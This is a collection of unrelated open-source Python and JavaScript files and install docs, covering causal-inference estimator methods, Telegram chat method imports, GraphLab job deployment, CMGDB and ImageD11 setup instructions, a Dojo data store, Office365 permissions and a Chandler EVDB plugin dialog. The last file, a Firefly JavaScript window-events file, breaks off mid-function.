CachedValues(nuisances=nuisances, Y=Y, T=T, X=X, W=W, Z=Z, sample_weight=sample_weight, freq_weight=freq_weight, sample_var=sample_var, groups=groups) if cache_values else None else: nuisances = self._cached_values.nuisances # _d_t is altered by fit nuisances to what prefit does. So we need to perform the same # alteration even when we only want to fit_final. if self.transformer is not None: self._d_t = (len(self.transformer.categories_[0]) - 1,) self._fit_final(Y=Y, T=self.transformer.transform(T.reshape((-1, 1))) if self.transformer is not None else T, X=X, W=W, Z=Z, nuisances=nuisances, sample_weight=sample_weight, freq_weight=freq_weight, sample_var=sample_var, groups=groups) return self @property def _illegal_refit_inference_methods(self): return (BootstrapInference,) def refit_final(self, inference=None): """ Estimate the counterfactual model using a new final model specification but with cached first stage results. In order for this to succeed, ``fit`` must have been called with ``cache_values=True``. This call will only refit the final model. This call we use the current setting of any parameters that change the final stage estimation. If any parameters that change how the first stage nuisance estimates has also been changed then it will have no effect. You need to call fit again to change the first stage estimation results. Parameters ---------- inference : inference method, optional The string or object that represents the inference method Returns ------- self : object This instance """ assert self._cached_values, "Refit can only be called if values were cached during the original fit" if isinstance(self._get_inference(inference), self._illegal_refit_inference_methods): raise ValueError("The chosen inference method does not allow only for model final re-fitting.") cached = self._cached_values kwargs = filter_none_kwargs( Y=cached.Y, T=cached.T, X=cached.X, W=cached.W, Z=cached.Z, sample_weight=cached.sample_weight, freq_weight=cached.freq_weight, sample_var=cached.sample_var, groups=cached.groups, ) _OrthoLearner.fit(self, **kwargs, cache_values=True, inference=inference, only_final=True, check_input=False) return self def _fit_nuisances(self, Y, T, X=None, W=None, Z=None, sample_weight=None, groups=None): # use a binary array to get stratified split in case of discrete treatment stratify = self.discrete_treatment or self.discrete_instrument strata = self._strata(Y, T, X=X, W=W, Z=Z, sample_weight=sample_weight, groups=groups) if strata is None: strata = T # always safe to pass T as second arg to split even if we're not actually stratifying if self.discrete_treatment: T = self.transformer.transform(reshape(T, (-1, 1))) if self.discrete_instrument: Z = self.z_transformer.transform(reshape(Z, (-1, 1))) if self.cv == 1: # special case, no cross validation folds = None else: splitter = check_cv(self.cv, [0], classifier=stratify) # if check_cv produced a new KFold or StratifiedKFold object, we need to set shuffle and random_state # TODO: ideally, we'd also infer whether we need a GroupKFold (if groups are passed) # however, sklearn doesn't support both stratifying and grouping (see # https://github.com/scikit-learn/scikit-learn/issues/13621), so for now the user needs to supply # their own object that supports grouping if they want to use groups. if splitter != self.cv and isinstance(splitter, (KFold, StratifiedKFold)): splitter.shuffle = True splitter.random_state = self._random_state all_vars = [var if np.ndim(var) == 2 else var.reshape(-1, 1) for var in [Z, W, X] if var is not None] to_split = np.hstack(all_vars) if all_vars else np.ones((T.shape[0], 1)) if groups is not None: if isinstance(splitter, (KFold, StratifiedKFold)): raise TypeError("Groups were passed to fit while using a KFold or StratifiedKFold splitter. " "Instead you must initialize this object with a splitter that can handle groups.") folds = splitter.split(to_split, strata, groups=groups) else: folds = splitter.split(to_split, strata) nuisances, fitted_models, fitted_inds, scores = _crossfit(self._ortho_learner_model_nuisance, folds, Y, T, X=X, W=W, Z=Z, sample_weight=sample_weight, groups=groups) return nuisances, fitted_models, fitted_inds, scores def _fit_final(self, Y, T, X=None, W=None, Z=None, nuisances=None, sample_weight=None, freq_weight=None, sample_var=None, groups=None): self._ortho_learner_model_final.fit(Y, T, **filter_none_kwargs(X=X, W=W, Z=Z, nuisances=nuisances, sample_weight=sample_weight, freq_weight=freq_weight, sample_var=sample_var, groups=groups)) self.score_ = None if hasattr(self._ortho_learner_model_final, 'score'): self.score_ = self._ortho_learner_model_final.score(Y, T, **filter_none_kwargs(X=X, W=W, Z=Z, nuisances=nuisances, sample_weight=sample_weight, groups=groups)) def const_marginal_effect(self, X=None): X, = check_input_arrays(X) self._check_fitted_dims(X) if X is None: return self._ortho_learner_model_final.predict() else: return self._ortho_learner_model_final.predict(X) const_marginal_effect.__doc__ = LinearCateEstimator.const_marginal_effect.__doc__ def const_marginal_effect_interval(self, X=None, *, alpha=0.05): X, = check_input_arrays(X) self._check_fitted_dims(X) return super().const_marginal_effect_interval(X, alpha=alpha) const_marginal_effect_interval.__doc__ = LinearCateEstimator.const_marginal_effect_interval.__doc__ def const_marginal_effect_inference(self, X=None): X, = check_input_arrays(X) self._check_fitted_dims(X) return super().const_marginal_effect_inference(X) const_marginal_effect_inference.__doc__ = LinearCateEstimator.const_marginal_effect_inference.__doc__ def effect_interval(self, X=None, *, T0=0, T1=1, alpha=0.05): X, T0, T1 = check_input_arrays(X, T0, T1) self._check_fitted_dims(X) return super().effect_interval(X, T0=T0, T1=T1, alpha=alpha) effect_interval.__doc__ = LinearCateEstimator.effect_interval.__doc__ def effect_inference(self, X=None, *, T0=0, T1=1): X, T0, T1 = check_input_arrays(X, T0, T1) self._check_fitted_dims(X) return super().effect_inference(X, T0=T0, T1=T1) effect_inference.__doc__ = LinearCateEstimator.effect_inference.__doc__ def score(self, Y, T, X=None, W=None, Z=None, sample_weight=None, groups=None): """ Score the fitted CATE model on a new data set. Generates nuisance parameters for the new data set based on the fitted nuisance models created at fit time. It uses the mean prediction of the models fitted by the different crossfit folds under different iterations. Then calls the score function of the model_final and returns the calculated score. The model_final model must have a score method. If model_final does not have a score method, then it raises an :exc:`.AttributeError` Parameters ---------- Y: (n, d_y) matrix or vector of length n Outcomes for each sample T: (n, d_t) matrix or vector of length n Treatments for each sample X: optional (n, d_x) matrix or None (Default=None) Features for each sample W: optional (n, d_w) matrix or None (Default=None) Controls for each sample Z: optional (n, d_z) matrix or None (Default=None) Instruments for each sample sample_weight: optional(n,) vector or None (Default=None) Weights for each samples groups: (n,) vector, optional All rows corresponding to the same group will be kept together during splitting. Returns ------- score : float or (array of float) The score of the final CATE model on the new data. Same type as the return type of the model_final.score method. """ if not hasattr(self._ortho_learner_model_final, 'score'): raise AttributeError("Final model does not have a score method!") Y, T, X, W, Z = check_input_arrays(Y, T, X, W, Z) self._check_fitted_dims(X) self._check_fitted_dims_w_z(W, Z) X, T = self._expand_treatments(X, T) if self.z_transformer is not None: Z = self.z_transformer.transform(reshape(Z, (-1, 1))) n_iters = len(self._models_nuisance) n_splits = len(self._models_nuisance[0]) # for each mc iteration for i, models_nuisances in enumerate(self._models_nuisance): # for each model under cross fit setting for j, mdl in enumerate(models_nuisances): nuisance_temp = mdl.predict(Y, T, **filter_none_kwargs(X=X, W=W, Z=Z, groups=groups)) if not isinstance(nuisance_temp, tuple): nuisance_temp = (nuisance_temp,) if i == 0 and j == 0: nuisances = [np.zeros((n_iters * n_splits,) + nuis.shape) for nuis in nuisance_temp] for it, nuis in enumerate(nuisance_temp): nuisances[it][i * n_iters + j] = nuis for it in range(len(nuisances)): nuisances[it] = np.mean(nuisances[it], axis=0) return self._ortho_learner_model_final.score(Y, T, nuisances=nuisances, **filter_none_kwargs(X=X, W=W, Z=Z, sample_weight=sample_weight, groups=groups)) @property def ortho_learner_model_final_(self): if not hasattr(self, '_ortho_learner_model_final'): raise AttributeError("Model is not fitted!") return self._ortho_learner_model_final @property def models_nuisance_(self): if not hasattr(self, '_models_nuisance'): raise AttributeError("Model is not fitted!") return self._models_nuisance
PypiClean
/Hikka_Pyro-2.0.66-py3-none-any.whl/pyrogram/methods/chats/__init__.py
from .add_chat_members import AddChatMembers from .archive_chats import ArchiveChats from .ban_chat_member import BanChatMember from .create_channel import CreateChannel from .create_group import CreateGroup from .create_supergroup import CreateSupergroup from .delete_channel import DeleteChannel from .delete_chat_photo import DeleteChatPhoto from .delete_supergroup import DeleteSupergroup from .delete_user_history import DeleteUserHistory from .get_chat import GetChat from .get_chat_event_log import GetChatEventLog from .get_chat_member import GetChatMember from .get_chat_members import GetChatMembers from .get_chat_members_count import GetChatMembersCount from .get_chat_online_count import GetChatOnlineCount from .get_dialogs import GetDialogs from .get_dialogs_count import GetDialogsCount from .get_nearby_chats import GetNearbyChats from .get_send_as_chats import GetSendAsChats from .join_chat import JoinChat from .leave_chat import LeaveChat from .mark_chat_unread import MarkChatUnread from .pin_chat_message import PinChatMessage from .promote_chat_member import PromoteChatMember from .restrict_chat_member import RestrictChatMember from .set_administrator_title import SetAdministratorTitle from .set_chat_description import SetChatDescription from .set_chat_permissions import SetChatPermissions from .set_chat_photo import SetChatPhoto from .set_chat_protected_content import SetChatProtectedContent from .set_chat_title import SetChatTitle from .set_chat_username import SetChatUsername from .set_send_as_chat import SetSendAsChat from .set_slow_mode import SetSlowMode from .unarchive_chats import UnarchiveChats from .unban_chat_member import UnbanChatMember from .unpin_all_chat_messages import UnpinAllChatMessages from .unpin_chat_message import UnpinChatMessage class Chats( GetChat, LeaveChat, JoinChat, BanChatMember, UnbanChatMember, RestrictChatMember, PromoteChatMember, GetChatMembers, GetChatMember, SetChatPhoto, DeleteChatPhoto, SetChatTitle, SetChatDescription, PinChatMessage, UnpinChatMessage, GetDialogs, GetChatMembersCount, SetChatUsername, SetChatPermissions, GetDialogsCount, ArchiveChats, UnarchiveChats, CreateGroup, CreateSupergroup, CreateChannel, AddChatMembers, DeleteChannel, DeleteSupergroup, GetNearbyChats, SetAdministratorTitle, SetSlowMode, DeleteUserHistory, UnpinAllChatMessages, MarkChatUnread, GetChatEventLog, GetChatOnlineCount, GetSendAsChats, SetSendAsChat, SetChatProtectedContent ): pass
PypiClean
/GraphLab_Create-2.1-cp27-none-macosx_10_5_x86_64.macosx_10_6_intel.macosx_10_9_intel.macosx_10_9_x86_64.macosx_10_10_intel.macosx_10_10_x86_64.macosx_10_11_intel.macosx_10_11_x86_64.whl/graphlab/deploy/job.py
from re import compile as _compile from re import sub as _sub import graphlab as _gl from . import environment as _environment from . import _executionenvironment as _env from . import _job from . import _task from datetime import datetime as _datetime from graphlab.util import _raise_error_if_not_function, _raise_error_if_not_of_type from graphlab.connect import _get_metric_tracker import logging as _logging import uuid as _uuid __LOGGER__ = _logging.getLogger(__name__) _job_name_checker = _compile('^[a-zA-Z0-9-_]+$') def _validate_job_create_args(function, name, environment): """ Validate the arguments for job.create and map_job.create """ __LOGGER__.info("Validating job.") _raise_error_if_not_of_type(environment, [type(None), str, _environment._Environment], 'environment') _raise_error_if_not_of_type(name, [type(None), str], 'name') if name is not None and not _job_name_checker.match(name): raise ValueError('Job name can only contain digits, characters, "-" and "_".') # Setup the env if not environment: try: environment = _gl.deploy.environments['async'] except KeyError: __LOGGER__.info("Creating a LocalAsync environment called 'async'.") try: environment = _environment.LocalAsync('async') except KeyError: environment = _gl.deploy.environments['async'] else: if isinstance(environment, str): __LOGGER__.debug("Loading environment: %s" % environment) environment = _gl.deploy.environments[environment] # Clone to prevent the user's environment to reflect changes. return function, name, environment def create(function, name=None, environment=None, **kwargs): """ Execute arbitrary functions in a remote environment. The job is specified as a function. All functions that are called from within the function are automatically captured. By default, this method will kick off asynchronous work, and return a Job object to monitor/manage that work. Parameters ---------- function : function Function to be executed in this Job, with arguments to pass to this function specified by `kwargs`. name : str, optional Name for this execution (names the returned Job). If set to None, then the name of the job is set to the name of the function with a time-stamp. Valid characters in job name include: digits, characters, '-' and '_'. environment : :class:`~graphlab.deploy.hadoop_cluster.HadoopCluster` | :class:`~graphlab.deploy.ec2_cluster.Ec2Cluster` | :class:`~graphlab.deploy.LocalAsync`, optional Optional environment for execution. If set to None, then a `LocalAsync` by the name `async` is created and used. This will execute the code in the background on your local machine. kwargs: Function kwargs that are passed to the function for execution. Returns ------- job : :py:class:`~graphlab.deploy.Job` Used for monitoring and managing the execution of the Job. See Also -------- graphlab.deploy.map_job.create, graphlab.deploy.Job Examples -------- Let us start out with a simple example to execute a function that can add two numbers. .. sourcecode:: python # Define a function def add(x, y): return x + y # Create a job. job = graphlab.deploy.job.create(add, x=1, y=1) # Get results from the execution when ready. This call waits for the # job to complete before retrieving the results. >>> print job.get_results() 2 Exceptions within the function calls can be captured as follows: .. sourcecode:: python def add(x, y): if x and y: return x + y else: raise ValueError('x or y cannot be None') # Job execution capture the exception raised by the function. job = graphlab.deploy.job.create(add, x=1, y=None) # Get results from the execution when ready. This call waits for the # job to complete before retrieving the results. >>> print job.get_results() None # Get the exceptions raised from this execution by calling # job.get_metrics() >>> print job.get_metrics() +-----------+--------+------------+----------+-----------------------+ | task_name | status | start_time | run_time | exception_message | +-----------+--------+------------+----------+-----------------------+ | add | Failed | 1427928898 | None | x or y cannot be None | +-----------+--------+------------+----------+-----------------------+ +-------------------------------+ | exception_traceback | +-------------------------------+ | Traceback (most recent cal... | +-------------------------------+ [1 rows x 6 columns] If a function requires a package to be installed, the function can be annotated with a decorator. .. sourcecode:: python def my_function(number = 10): import names people = [names.get_full_name() for i in range(number)] sf = graphlab.SFrame({'names':people}) return sf job = graphlab.deploy.job.create(my_function) >>> print job.get_results() Columns: names str Data: +-------------------+ | names | +-------------------+ | Annette Logan | | Nancy Anthony | | Tiffany Zupancic | | Andre Coppin | | Robert Coe | | Donald Dean | | Lynne Bunton | | John Sartwell | | Peter Nicholas | | Chester Rodriguez | +-------------------+ [10 rows x 1 columns] Complex functions that require SFrames, GraphLab models etc. can be deployed with ease. All additional state required by the function are automatically captured. .. sourcecode:: python GLOBAL_CONSTANT = 10 def foo(x): return x + 1 def bar(x): return x + 2 def my_function(x, y): foo_x = foo(x) bar_y = bar(y) return foo_x + bar_y + GLOBAL_CONSTANT # Automatically captures all state needed by the deployed function. job = graphlab.deploy.job.create(my_function, x = 1, y = 1) >>> print job.get_results() 15 You can execute the same job remotely by passing a different environment. .. sourcecode:: python # Define a function def add(x, y): return x + y # Define an EC2 environment ec2 = graphlab.deploy.Ec2Config() # Create an EC2 cluster object c = graphlab.deploy.ec2_cluster.create('my_cluster', 's3://bucket/path', ec2) # Create a job. job = graphlab.deploy.job.create(add, environment=c, x=1, y=1) >>> print job.get_results() 2 Notes ----- - When an exception is raised within the deployed function, :func:`~graphlab.deploy.Job.get_results` returns None. - For asynchronous jobs, :func:`~graphlab.deploy.Job.get_results` is a blocking call which will wait for the job execution to complete before returning the results. """ _session = _gl.deploy._default_session _raise_error_if_not_function(function) _get_metric_tracker().track('jobs.job') # Name the job now = _datetime.now().strftime('%b-%d-%Y-%H-%M-%S') function_name = _sub('[<>]','',function.__name__) name = '%s-%s' % (function_name, now) if not name else name # Validate args function, name, environment = _validate_job_create_args(function, name, environment) while _session.exists(name, _job.Job._typename): rand = str(_uuid.uuid4())[:5] old_name = name name = "%s-%s" % (name, rand) __LOGGER__.info("A job with name '%s' already exists. " "Renaming the job to '%s'." % (old_name, name)) # Setup the task & job task = _task.Task(function,function_name) task.set_inputs(kwargs) job = _job.Job(name, stages=[[task]], environment=environment, final_stage=task) # Setup the env. __LOGGER__.info("Validation complete. Job: '%s' ready for execution." % name) exec_env = _env._get_execution_env(environment) job = exec_env.run_job(job) # Save the job and return to user if not isinstance(environment, _environment.Local): __LOGGER__.info("Job: '%s' scheduled." % name) else: __LOGGER__.info("Job: '%s' finished." % name) _session.register(job) _session.save(job) return job
PypiClean
/CMGDB-1.0.0.tar.gz/CMGDB-1.0.0/README.md
# CMGDB Conley Morse Graph Database ## Overview This project uses combinatorial and topological methods to compute dynamics of discrete dynamical systems. ## Dependencies and Installation The dependencies and install instructions on a Mac using [Homebrew](https://brew.sh/) are listed below. ### Boost and GMP Install [Boost](https://www.boost.org/) and [GMP](https://gmplib.org/) brew install boost brew install gmp ### SDSL Install the [Succinct Data Structure Library (SDSL)](https://github.com/simongog/sdsl-lite) git clone https://github.com/simongog/sdsl-lite.git cd sdsl-lite ./install.sh /usr/local/ It is also possible to intall the `sdsl-lite` library with Homebrew using this [repository](https://repology.org/project/sdsl-lite/versions) with the commands brew tap Brewsci/bio brew install sdsl-lite ### Eigen3 Install Eigen3 brew install eigen ### graphviz Install graphviz brew install graphviz ### CMake Install CMake brew install cmake ### jupyter and graphviz Install the jupyter and graphviz Python packages python -m pip install jupyter graphviz ### Install CMGDB git clone https://github.com/marciogameiro/CMGDB.git cd CMGDB ./install.sh # Documentation and Examples To get started on how to run the code see the examples in the Jupyter notebooks in the examples folder. In particular the notebooks [Examples.ipynb](examples/Examples.ipynb), [Gaussian\_Process\_Example.ipynb](examples/Gaussian_Process_Example.ipynb), and [Conley\_Index\_Examples.ipynb](examples/Conley_Index_Examples.ipynb) present basic examples on how to run the code and are a good starting point. Here is an old [survey](http://chomp.rutgers.edu/Projects/survey/cmdbSurvey.pdf) and a [talk](http://chomp.rutgers.edu/Projects/Databases_for_the_Global_Dynamics/software/LorentzCenterAugust2014.pdf) that might be useful.
PypiClean
/ImageD11-1.9.9.tar.gz/ImageD11-1.9.9/docs/sphx/installation.rst
=================== Installing ImageD11 =================== :: pip install ImageD11 If you go for --user or systemwide the we suggest to skip the dependencies and fix them one at a time later as needed (pip can get into a fight with the system package manager or conda). :: pip install ImageD11 --no-deps -U --user If that did not work, then read on. ImageD11 is a python module which depends on the prior installation python itself and several other packages. It is usually better to get these from a package manager or in a batteries-included python installation. Perhaps Anaconda or Python(x,y) etc. Several dependency packages that are required are listed in the setup.py file of ImageD11 as `install_requires`. Specific packages from fable that ImageD11 needs are: - fabio (from fable, now silx) for imageio - xfab (from fable) for some crystallographic calculations Recommended packages to pick up when you are installing a system: - numpy for arrays of numbers - matplotlib for plotting - scipy for many different scientific computations - h5py for access to hdf files - pyminuit optimiser (needed for fitallb) - pmw python metawidgets for fabian gui - pillow (PIL) imaging library - pyFAI for radial integration - pyopengl and pyopengltk for 3D plots - six for the python2 vs python3 breakup For development you would also need: - C compiler for your system - sphinx docutils to build this documentation - latex if you want to make a pdf manual Finally, you need to download ImageD11 itself. The file release area was historically at `sourceforge <http://sourceforge.net/projects/fable/files/ImageD11>`_. Nowadays the sources are on `github <http://github.com/jonwright/ImageD11>`_ and the package itself is on pypi. Install it in a virtualenv using: Getting python -------------- Historically we had a lot of notes here about installing python. These are removed for now. It is a bigger problam that just for us. You can either go with the package manager for your system, or the version from python.org, or a batteries included system like miniconda or anaconda. Or you have a mac and all bets are off. Whatever you do, please learn about virtualenv or conda env before you install something. Python environments are relatively fragile and as soon as you install one broken package the whole thing will be ruined. Python2 versus Python3 ---------------------- A wide range of python versions are routinely tested by the CI services, including python2.7. From about python 3.5 and upwards we hope it will be working, but there may be difficulties with the earliest python 3 iterations. Compiling from source --------------------- There are some continuous integration scripts in the source which can give some inspiration. See .circleci, .travis.yml and appveyor.yml The C wrapper codes are interfaced using f2py in numpy. If you modify the C sources then the wrappers are re-built using a script that adds some docstrings. Critical files are currently (May 2020) :: src/makepyf.py : builds interface declarations in src/_cImageD11.pyf : interface description src/_cImageD11module.c : interface made by f2py ImageD11src/cImageD11.py : wrapper that adds docstrings ImageD11src/cImageD11_docstrings.py setup.py : drives the build To optimise for a specific machine then setup.py should look at your CFLAGS environment variable for anything you want to add:: export CFLAGS=-march=native pip install . Please test if you do this and remember not to copy it to another machine. Testing ------- It should be possible to test using pytest:: python -m pytest Otherwise in the test folder there is a run_tests.py script. Windows ------- To develop ImageD11 on windows 64 bit you need to get hold of the right compiler. This was freely available from microsoft, but a little non-obvious. You need to get VC++ 2008 (msvcrt9, the free 2008 express edition is OK) and then add on the .net sdk 3.5 to get the 64bit compiler. See the notes on the `cython wiki <http://wiki.cython.org/64BitCythonExtensionsOnWindows>`_. Nowadays ths mostly just works as microsoft started releasing an old compiler that was needed for 2.7. For newer python versions you need a newer compiler. Mac --- ImageD11 has been installed by a number of mac owners but the author was never sure how they did it. Recently a CI has been set up on Travis that tests For macos as well, so hopefully this will improve in the future. The main missing point is the 3D opengl plots which need pyopngltk to be ported to mac, or perhaps easier to find some other package to do then job. Ubuntu ------ To install on Ubuntu :: sudo apt-get install build-essential sudo apt-get install git sudo apt-get install python-numpy git clone http://github.com/jonwright/ImageD11 cd ImageD11/ python setup.py build bdist_wheel pip install dist/ImageD11-1.7.0-cp27-cp27mu-linux_x86_64.whl cd ImageD11/ cd test/ python run_tests.py Installing at ESRF ------------------ Historically various ways. Currently (may 2020):: debian : module load fable ubuntu : make your own conda or virtual environment for now
PypiClean
/FreePyBX-1.0-RC1.tar.gz/FreePyBX-1.0-RC1/freepybx/public/js/dojox/data/ServiceStore.js
define("dojox/data/ServiceStore",["dojo/_base/declare","dojo/_base/lang","dojo/_base/array"],function(_1,_2,_3){ return _1("dojox.data.ServiceStore",_2.getObject("dojox.data.ClientFilter",0)||null,{service:null,constructor:function(_4){ this.byId=this.fetchItemByIdentity; this._index={}; if(_4){ _2.mixin(this,_4); } this.idAttribute=(_4&&_4.idAttribute)||(this.schema&&this.schema._idAttr); },schema:null,idAttribute:"id",labelAttribute:"label",syncMode:false,estimateCountFactor:1,getSchema:function(){ return this.schema; },loadLazyValues:true,getValue:function(_5,_6,_7){ var _8=_5[_6]; return _8||(_6 in _5?_8:_5._loadObject?(dojox.rpc._sync=true)&&arguments.callee.call(this,dojox.data.ServiceStore.prototype.loadItem({item:_5})||{},_6,_7):_7); },getValues:function(_9,_a){ var _b=this.getValue(_9,_a); return _b instanceof Array?_b:_b===undefined?[]:[_b]; },getAttributes:function(_c){ var _d=[]; for(var i in _c){ if(_c.hasOwnProperty(i)&&!(i.charAt(0)=="_"&&i.charAt(1)=="_")){ _d.push(i); } } return _d; },hasAttribute:function(_e,_f){ return _f in _e; },containsValue:function(_10,_11,_12){ return _3.indexOf(this.getValues(_10,_11),_12)>-1; },isItem:function(_13){ return (typeof _13=="object")&&_13&&!(_13 instanceof Date); },isItemLoaded:function(_14){ return _14&&!_14._loadObject; },loadItem:function(_15){ var _16; if(_15.item._loadObject){ _15.item._loadObject(function(_17){ _16=_17; delete _16._loadObject; var _18=_17 instanceof Error?_15.onError:_15.onItem; if(_18){ _18.call(_15.scope,_17); } }); }else{ if(_15.onItem){ _15.onItem.call(_15.scope,_15.item); } } return _16; },_currentId:0,_processResults:function(_19,_1a){ if(_19&&typeof _19=="object"){ var id=_19.__id; if(!id){ if(this.idAttribute){ id=_19[this.idAttribute]; }else{ id=this._currentId++; } if(id!==undefined){ var _1b=this._index[id]; if(_1b){ for(var j in _1b){ delete _1b[j]; } _19=_2.mixin(_1b,_19); } _19.__id=id; this._index[id]=_19; } } for(var i in _19){ _19[i]=this._processResults(_19[i],_1a).items; } var _1c=_19.length; } return {totalCount:_1a.request.count==_1c?(_1a.request.start||0)+_1c*this.estimateCountFactor:_1c,items:_19}; },close:function(_1d){ return _1d&&_1d.abort&&_1d.abort(); },fetch:function(_1e){ _1e=_1e||{}; if("syncMode" in _1e?_1e.syncMode:this.syncMode){ dojox.rpc._sync=true; } var _1f=this; var _20=_1e.scope||_1f; var _21=this.cachingFetch?this.cachingFetch(_1e):this._doQuery(_1e); _21.request=_1e; _21.addCallback(function(_22){ if(_1e.clientFetch){ _22=_1f.clientSideFetch({query:_1e.clientFetch,sort:_1e.sort,start:_1e.start,count:_1e.count},_22); } var _23=_1f._processResults(_22,_21); _22=_1e.results=_23.items; if(_1e.onBegin){ _1e.onBegin.call(_20,_23.totalCount,_1e); } if(_1e.onItem){ for(var i=0;i<_22.length;i++){ _1e.onItem.call(_20,_22[i],_1e); } } if(_1e.onComplete){ _1e.onComplete.call(_20,_1e.onItem?null:_22,_1e); } return _22; }); _21.addErrback(_1e.onError&&function(err){ return _1e.onError.call(_20,err,_1e); }); _1e.abort=function(){ _21.cancel(); }; _1e.store=this; return _1e; },_doQuery:function(_24){ var _25=typeof _24.queryStr=="string"?_24.queryStr:_24.query; return this.service(_25); },getFeatures:function(){ return {"dojo.data.api.Read":true,"dojo.data.api.Identity":true,"dojo.data.api.Schema":this.schema}; },getLabel:function(_26){ return this.getValue(_26,this.labelAttribute); },getLabelAttributes:function(_27){ return [this.labelAttribute]; },getIdentity:function(_28){ return _28.__id; },getIdentityAttributes:function(_29){ return [this.idAttribute]; },fetchItemByIdentity:function(_2a){ var _2b=this._index[(_2a._prefix||"")+_2a.identity]; if(_2b){ if(_2b._loadObject){ _2a.item=_2b; return this.loadItem(_2a); }else{ if(_2a.onItem){ _2a.onItem.call(_2a.scope,_2b); } } }else{ return this.fetch({query:_2a.identity,onComplete:_2a.onItem,onError:_2a.onError,scope:_2a.scope}).results; } return _2b; }}); });
PypiClean
/Office365-REST-Python-Client-2.4.3.tar.gz/Office365-REST-Python-Client-2.4.3/office365/onedrive/permissions/collection.py
from office365.directory.permissions.identity import Identity from office365.entity import Entity from office365.entity_collection import EntityCollection from office365.onedrive.permissions.permission import Permission from office365.runtime.queries.create_entity import CreateEntityQuery class PermissionCollection(EntityCollection): """Drive list's collection""" def __init__(self, context, resource_path=None): super(PermissionCollection, self).__init__(context, Permission, resource_path) def add(self, roles, identity=None, identity_type=None): """ Create a new permission object. :param list[str] roles: Permission types :param Application or User or Device or User or Group or str identity: Identity object or identifier :param str identity_type: Identity type """ return_type = Permission(self.context) known_identities = { "application": self.context.applications, "user": self.context.users, "device": self.context.device_app_management, "group": self.context.groups } if isinstance(identity, Entity): identity_type = type(identity).__name__.lower() else: if identity_type is None: raise ValueError("Identity type is a mandatory when identity identifier is specified") known_identity = known_identities.get(identity_type, None) if known_identity is None: raise ValueError("Unknown identity type") identity = known_identity[identity] def _create(): payload = { "roles": roles, "grantedToIdentities": [{ identity_type: Identity(display_name=identity.display_name, _id=identity.id) }] } self.add_child(return_type) qry = CreateEntityQuery(self, payload, return_type) self.context.add_query(qry) identity.ensure_properties(["displayName"], _create) return return_type def delete_all(self): """ Remove all access to resource """ def _after_loaded(return_type): for permission in return_type: # type: Permission permission.delete_object() self.context.load(self, after_loaded=_after_loaded) return self
PypiClean
/Chandler-EVDBPlugin-0.8-r16144.tar.gz/Chandler-EVDBPlugin-0.8-r16144/evdb/dialogs.py
import wx, webbrowser from evdb import setLicense from application import Utility, Globals from i18n import MessageFactory from osaf.startup import PeriodicTask LICENSE_URL="http://api.eventful.com/keys/" PLUGIN_NAME="Chandler-EVDBPlugin" _ = MessageFactory(PLUGIN_NAME) class LicenseTask(PeriodicTask): # target is periodic task def getTarget(self): return self # target is already constructed as self def __call__(self, periodicTask): return self # target needs no view of its own def fork(self): return self # target implementation def run(self): prefs = Utility.loadPrefs(Globals.options).get(PLUGIN_NAME) if prefs is not None: license = prefs.get('license') if license: setLicense(license) return False # no need to run again class LicenseDialog(wx.Dialog): def __init__(self, parent, ID): # Instead of calling wx.Dialog.__init__ we precreate the dialog # so we can set an extra style that must be set before # creation, and then we create the GUI dialog using the Create # method. pre = wx.PreDialog() pre.Create(parent, ID, _(u"Enter EVDB Web Services API Key"), wx.DefaultPosition, wx.DefaultSize, wx.DEFAULT_DIALOG_STYLE) # This next step is the most important, it turns this Python # object into the real wrapper of the dialog (instead of pre) # as far as the wxPython extension is concerned. self.this = pre.this # Now continue with the normal construction of the dialog # contents sizer = wx.BoxSizer(wx.VERTICAL) grid = wx.GridSizer(2, 2) # License (text control).... label = wx.StaticText(self, -1, _(u"API Key:")) grid.Add(label, 0, wx.ALIGN_LEFT|wx.ALL, 5) self.licenseText = wx.TextCtrl(self, -1, u"", wx.DefaultPosition, [150, -1]) grid.Add(self.licenseText, 0, wx.ALIGN_CENTRE|wx.ALL, 5) sizer.Add(grid, 0, wx.GROW|wx.ALIGN_CENTER_VERTICAL|wx.ALL, 5) # Register (button).... button = wx.Button(self, -1, "Register") self.Bind(wx.EVT_BUTTON, self.onRegister, button) buttonSizer = wx.StdDialogButtonSizer() buttonSizer.AddButton(wx.Button(self, wx.ID_OK)) buttonSizer.AddButton(wx.Button(self, wx.ID_CANCEL)) buttonSizer.Realize() buttonSizer.Insert(0, button) sizer.Add(buttonSizer, 0, wx.GROW|wx.ALIGN_CENTER_VERTICAL|wx.ALL, 5) self.SetSizer(sizer) self.SetAutoLayout(True) sizer.Fit(self) def onRegister(self, evt): webbrowser.open(LICENSE_URL) def getParameters(self): return { 'license': self.licenseText.GetValue(), } def promptLicense(): dialog = LicenseDialog(wx.GetApp().mainFrame, -1) dialog.CenterOnScreen() if dialog.ShowModal() == wx.ID_OK: params = dialog.getParameters() else: params = None dialog.Destroy() if params is not None: license = params['license'] if license: prefs = Utility.loadPrefs(Globals.options) pluginPrefs = prefs.setdefault(PLUGIN_NAME, {}) pluginPrefs['license'] = license prefs.write() setLicense(license) return True return False
PypiClean
/Firefly-vis-2.0.4.tar.gz/Firefly-vis-2.0.4/src/Firefly/static/js/misc/windowEvents.js
function fullscreen(){ THREEx.FullScreen.request() document.getElementById("fullScreenButton").style.display = "none";//visibility = "hidden" } if (document.addEventListener){ document.addEventListener('webkitfullscreenchange', exitHandler, false); document.addEventListener('mozfullscreenchange', exitHandler, false); document.addEventListener('fullscreenchange', exitHandler, false); document.addEventListener('MSFullscreenChange', exitHandler, false); } function exitHandler(){ var elem = document.getElementById('ContentContainer'); if (!THREEx.FullScreen.activated()){ document.getElementById("fullScreenButton").style.display = "inline"; } } //handle Mouse events var ignoreMouseClasses = ["pTextInput", "sp-preview-inner", "dropbtn", "FilterMaxTClass", "FilterMinTClass" , "select", "bar1", "bar2", "bar3", "button-div", "pLabelDiv", "selectFilter", "selectVelType", "NMaxTClass", "PMaxTClass", "NSliderClass", "PSliderClass", "slideroo", "sp-choose", "sp-input", "select-style"]; var ignoreMouseIds = ["UItopbar", "ControlsText", "Hamburger", "renderButton", "CenterCheckDiv", "CenterCheckBox", "CenterCheckLabel", "splash"]; function handleMouseDown(event) { if (ignoreMouseClasses.indexOf(event.target.className) >= 0 || ignoreMouseIds.indexOf(event.target.id) >= 0) return; if (event.target.hasOwnProperty('id')){ if (event.target.id.indexOf("splash") >= 0) return; } if (event.target.hasOwnProperty('className')){ if (event.target.className.indexOf("noUi") >= 0 || event.target.className.indexOf("Slider") >= 0 ) return; } } //hide the splash screen function showSplash(show=true){ //don't hide the screen if the user clicked on a button from the screen (e.g., to load new data) if (event){ if 